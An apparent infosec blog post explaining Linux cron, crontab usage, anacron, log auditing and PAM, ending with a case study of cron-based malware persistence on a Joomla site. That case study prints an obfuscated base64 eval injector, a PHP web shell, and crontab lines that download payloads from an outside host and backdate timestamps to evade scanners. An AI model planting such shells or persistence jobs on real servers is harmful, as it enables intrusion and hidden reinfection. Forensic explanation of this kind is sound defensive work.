In this post, I’d like to give a brief overview of the cron program in Linux, with which I’ve been experimenting lately.

Cron is a daemon (i.e. a continuously running program) that springs into action based on temporal events, as opposed to other triggers. Every minute it checks the config files in: /var/spool/cron and /etc/cron.d directories and executes commands listed therein if the time matches the system time. The daemon will use, if present, the definition from /etc/timezone for the timezone. As per the man page for cron, Paul Vixie <> is the author of cron, which is why you will sometimes see it referred to as Vixie Cron.

Using the crontab command

You can set up cron jobs with the crontab command (used with the following flags):

crontab [-u user] [ -i ] { -l | -e | -r } [file]

-u specifies the user whose crontab will be edited

-e opens the crontab for editing using an editor of one’s choice (here we use the default vi editor that all Linux distros have)

-l displays the current crontab on standard output

-r removes the crontab

-i prompts y/n whether to carry out –r

file use this if you want to specify a particular file name

Who can use this command?

You can whitelist use of the of the crontab for users by adding them to the /etc/cron.allow and blacklist them by adding them to the /etc/cron.deny file. If neither of these files exists, then only root will be able to use the command, or all users will be able to do so (depending on the configuration parameters of your system). If both files exist, cron.allow takes precedence. Certain cron jobs can only be modified as root, because they pertain to the normal functioning of the operating system.

You can use sudo to edit cron jobs while logged in as any other user, provided you enter the root password. From a hacker’s point of view, however, one drawback of using sudo is that your commands are tagged with the sudoer’s username, which will then be visible in the logs. However, if you use su, it is not possible to trace what a user did after the su to the root account.

Scheduling jobs

You can schedule jobs according to the following schema, down to the minute. If you choose a star for any of the time intervals (minute, hour, day, etc.), this means the job will run every time that interval is concluded (i.e. every minute, hour, day, etc.).

cron vs. anacron

No, not the artist!

With cron, jobs can be missed if the system is turned off. Anacron is designed to remedy this by running any job missed when system was off. This is why its jobs are scheduled to run after startup by default. One disadvantage of running it at this time, however, is that it can slow down performance if anacron needs to run a time-consuming task. You can choose any other time of day you wish; just keep in mind that the most frequent interval at which anacron can be run is daily (unlike with cron, which is every minute).

What does cron have to do with security?

Cron should be used regularly to back up the audit event logs used for security purposes. If you look at the cron.daily directory, you will find logrotate, a script that is called by a system cron job. This works by running a configuration file /etc/logrotate.conf which contains information such as naming conventions for the rotated logs, whether log files should be compressed to save space, when it is necessary to create new log file, what the maximum size for a log file should be (in bytes), whether you want a log file emailed to you before it is removed, etc. It is also highly recommended to use cron to back up existing logs on separate media, so that if a malicious individual has tampered with the original logs, copies exist elsewhere that can be investigated. You can also use cron jobs to monitor the audit logs for activity that needs to be tracked. This could involve summarizing the log entries and/or looking for inappropriate events in the logs.

Sometimes an account may expire. Such accounts, when used to run a cron job, will cause the job to fail. One security audit is thus to look for failed authorizations in the cron service logs. The example below shows cron events related to an expired account:

Similarly, if a password has been changed or expired, and a cron job runs a script that tries to authenticate with the old password, it will keep running, generating “failed logon” events like the one below and quickly reaching the number of failed login attempts necessary to lock an account (usually this is only 3):

About PAM

Another PAM

PAM in our context stands for Pluggable Authentication Module which is a mechanism for integrating multiple low-level authentication schemes into a high-level application programming interface (API). It allows programs that rely on authentication to be written independently of the underlying authentication scheme. Linux-PAM separates the tasks of authentication into four independent management groups:

  • account modules check that the specified account is a valid authentication target under current conditions. This may include conditions like account expiration, time of day, and that the user has access to the requested service.
  • authentication modules verify the user’s identity, for example by requesting and checking a password or other secret. They may also pass authentication information on to other systems like a keyring.
  • password modules are responsible for updating passwords and are generally coupled to modules employed in the authentication step. They may also be used to enforce strong passwords.
  • session modules define actions that are performed at the beginning and end of sessions. A session starts after the user has successfully authenticated.

One way to get around the “root password expired” problem described earlier is to extend the root password or set it to “never expire”. Another way, however, is to modify the PAM config file for cron in the pam.d directory so that even if the password has expired the cron job will still run. You do this by editing the PAM config file for cron:

The account tab will be set to “required” by default.
Change the account tab to “sufficient” as seen here.

When successful or failed logins occur, the opening or closing of PAM sessions are logged. When a failed logon occurs, a system cron job records this at the beginning of the next minute as the simultaneous opening and closing of a session:

From Xiaodong Lin, Introductory Computer Forensics: A Hands-on Practical Approach, Springer, 2018, p. 310.

How a malicious actor could use cron to establish persistence

In a case discussed in more detail on this security blog, the following base-64 encoded SPAM injector was prepended to a valid Joomla file:

$stg=”ba”.”se”.”64_d”.”ecode”;eval ($stg(“JHNlcnZlcl91c2VyX2FnZW50ICAgID0gJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KJHNlcnZlcl9yZWZlcmVyICAgICAgID0gQCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiRzZXJ2ZXJfZm9yd2FyZGVkX2ZvciA9IEAkX1N…

This was accompanied by a PHP shell to give the attacker “permanent” access to the server:

if( $_POST[“_cmd”] ) { $output = shell_exec ($_POST[“_cmd”]); echo “<input type=”hidden” name=”output” value=”’; echo $output; echo ‘“>’; }

So far this is a standard approach and the malware can easily be detected and deleted. Afterwards, the user also updated the Joomla version to one that was not vulnerable to this type of attack and changed all the passwords. Yet the same malware was running again within 10 minutes. So what happened? An investigation of the CloudProxy logs and FTP logs turned up nothing. The answer lay in the crontab:

*/3 * * * * chmod 0755 /home3/infectedsite/public_html/libraries/joomla/utilities/compat/compat.php; wget http://  .com/wdc.txt -O /home3/infectedsite/public_html/libraries/joomla/utilities/compat/compat.php >/dev/null; 
* */6 * * * wget http:// .com/PDF/rbkvgqdyle.txt -O /home3/infectedsite/public_html/libraries/simplepie/idn/7cuyng9o1a.php >/dev/null; fetch -o /home3/infectedsite/public_html/libraries/simplepie/idn/7cuyng9o1a.php http:// www.hestonsflorist .com/PDF/rbkvgqdyle.txt >/dev/null 2>&1; touch -t 201104202045 /home3/infectedsite/public_html/libraries/simplepie/idn/index.html >/dev/null; chmod 0755 /home3/infectedsite/public_html/libraries/simplepie/idn/.htaccess >/dev/null; rm /home3/infectedsite/public_html/libraries/simplepie/idn/.htaccess >/dev/null; touch -t 201104202045 /home3/infectedsite/public_html/libraries/simplepie/idn/.; touch -t 201104202045 /home3/infectedsite/public_html/libraries/simplepie/idn/7cuyng9o1a.php >/dev/null

The first job is set to run every 3 minutes (*/3 * * * *) and is responsible for keeping the spam injection installed. It changes the permissions in compat.php to 0755 and then downloads an infected version from another compromised website, replacing the original file. Using wget and fetch, it downloads and installs the backdoor every 6 hours. To hide this backdoor from scanners that rely on timestamps, it “touches” the file and its directory to change its timestamp to 04/20/2011–20:45. It also removes any .htaccess file that would prevent direct access to PHP files.

This example nicely demonstrates the power of the humble-seeming cron program!

A variety of topics related to the information security (infosec) field